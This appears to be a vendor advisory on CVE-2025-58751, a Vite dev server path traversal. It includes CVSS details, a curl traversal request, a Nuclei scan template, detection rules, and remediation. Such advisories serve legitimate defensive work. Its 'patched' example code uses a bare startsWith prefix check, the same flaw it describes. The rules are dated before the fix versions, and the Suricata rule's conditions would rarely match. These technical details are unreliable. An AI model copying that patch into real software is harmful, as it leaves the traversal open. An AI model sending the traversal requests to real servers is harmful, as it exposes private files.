CVE-2025-58751

Executive Summary

CVE-2025-58751 is a path traversal vulnerability in the Vite frontend tooling framework. The flaw allows an attacker to bypass the server.fs restrictions by requesting files that share a prefix with the public directory. This is possible when the Vite dev server is exposed to the network (via --host or server.host config), the public directory feature is enabled (default), and a symlink exists within the public directory. Successful exploitation can lead to unauthorized access to sensitive files outside the intended web root, such as package.json, configuration files, or source code.

Supply Chain & Package Security

Vite is distributed via the npm registry. This vulnerability affects the Vite package itself, not a dependency. Organizations using Vite in development or build pipelines should treat this as a high-priority update. The fix is available in the specified patched versions. Ensure that your package.json and lock files are updated accordingly. There are no known malicious packages exploiting this CVE at this time, but the public PoC increases the risk of supply chain attacks targeting development environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for sensitive data exposure in development environments elevate the risk. The EPSS score of 0.01421% indicates low exploitation activity currently, but this may increase as PoC code circulates.

Deep Dive & Mechanics

The vulnerability resides in Vite's file serving logic. When a request is made for a file, Vite checks if the file path is within the allowed server.fs restrictions. However, due to a flaw in path comparison, files that start with the same name as the public directory are incorrectly served. For example, if the public directory is named public, a request for /../package.json might be incorrectly resolved if a symlink named public exists in the public directory.

Root Cause: The path normalization and validation logic fails to properly handle symlinks and path prefixes. When a symlink is present in the public directory, Vite's path resolution can be tricked into serving files outside the intended scope.

Attack Scenario:

1. The attacker identifies a Vite dev server exposed to the network.
2. The attacker sends a crafted HTTP GET request, e.g., GET /../package.json HTTP/1.1.
3. If a symlink exists in the public directory (e.g., a symlink named public pointing to another directory), Vite's path resolution may follow the symlink and serve the package.json file from the project root.
4. The attacker receives the file contents, potentially exposing sensitive information.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Simplified vulnerable path resolution
function serveFile(url) {
  let filePath = path.join(publicDir, url);
  // Insufficient validation: does not check if the resolved path is still within publicDir
  if (fs.existsSync(filePath)) {
    return fs.readFileSync(filePath);
  }
}

Patched Code (Conceptual):

// Patched version with proper path validation
function serveFile(url) {
  let filePath = path.resolve(publicDir, url);
  // Ensure the resolved path is still within the public directory
  if (!filePath.startsWith(path.resolve(publicDir))) {
    throw new Error('Access denied');
  }
  if (fs.existsSync(filePath)) {
    return fs.readFileSync(filePath);
  }
}

The patched code uses path.resolve() to get the absolute path and then checks that the resolved path starts with the absolute path of the public directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vite dev server (version < 5.4.20, < 6.3.6, < 7.0.7, or < 7.1.5) running with --host or server.host enabled.
• A symlink in the public directory (e.g., ln -s /some/other/dir public/symlink).

Exploitation Steps:

1. Identify the target Vite dev server (e.g., http://target:5173).
2. Send a crafted request to bypass the path restriction:

   curl -v "http://target:5173/../package.json"
   

3. If successful, the server will return the contents of package.json (or other sensitive files).

Nuclei Template (Provided):

id: CVE-2025-58751

info:
  name: Vite Dev Server - Path Traversal
  author: wn147
  severity: low
  description: |
    Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
  impact: |
    Attackers can access unauthorized files bypassing filesystem restrictions, potentially exposing sensitive data.
  remediation: |
    Update to versions 7.1.5, 7.0.7, 6.3.6, or 5.4.20 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58751
  classification:
    cve-id: CVE-2025-58751
    epss-score: 0.01421
    epss-percentile: 0.80677
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,vite,lfi,vuln


http:
  - method: GET
    path:
      - "{{BaseURL}}/../package.json"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":", "\"overrides\":")'
        condition: and

Blue Team

Detection Steps:

1. Monitor for HTTP requests containing ../ or similar path traversal patterns in the URL path.
2. Check Vite dev server logs for unusual 200 responses to requests for files like package.json, .env, or other sensitive files.
3. Verify that the Vite dev server is not exposed to the network unnecessarily. If it must be exposed, ensure it is behind a reverse proxy with proper access controls.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="*/../*"
| stats count by src_ip, uri_path, status
| where status=200

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests with path traversal sequences (e.g., /../package.json, /../.env).
  • Requests to Vite dev server endpoints (e.g., /@vite/client) followed by traversal attempts.
• File System IOCs:
  • Unexpected symlinks in the Vite public directory.
  • Unauthorized access to files outside the public directory (e.g., package.json, node_modules/ files).
• Log IOCs:
  • Vite dev server logs showing 200 responses to ../ requests.
  • Repeated failed attempts (403) followed by a successful 200.

Detection Engineering

YARA Rule

rule CVE_2025_58751_Vite_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Vite dev server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-58751"
    strings:
        $traversal1 = "/../" ascii wide
        $traversal2 = "/..%2f" ascii wide
        $traversal3 = "/%2e%2e/" ascii wide
        $vite_client = "/@vite/client" ascii wide
    condition:
        any of ($traversal*) and $vite_client
}

Sigma Rule

title: CVE-2025-58751 Vite Dev Server Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against Vite dev server
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58751
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/../'
            - '/..%2f'
            - '/%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58751 Vite Dev Server Path Traversal"; flow:to_server,established; content:"/../"; http_uri; nocase; content:"/@vite/client"; http_uri; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Vite: Upgrade to versions 5.4.20, 6.3.6, 7.0.7, or 7.1.5 or later.

   npm install vite@latest
   # or for specific version
   npm install vite@5.4.20
   

2. Restrict Network Exposure: Do not expose the Vite dev server to the network unless absolutely necessary. Use --host only in trusted environments.
3. Remove Symlinks: If symlinks are not required, remove them from the public directory.

Long-Term Mitigations:

• Implement a reverse proxy (e.g., Nginx, Caddy) in front of the Vite dev server with strict path validation.
• Use Web Application Firewall (WAF) rules to block path traversal patterns.
• Regularly audit Vite configurations and dependencies.

Valters IT Signature

Report generated by Valters IT DevSecOps Intelligence Unit

{/* [Security Hash: 3B62A46666C3A6D1CD5CD7CC] */}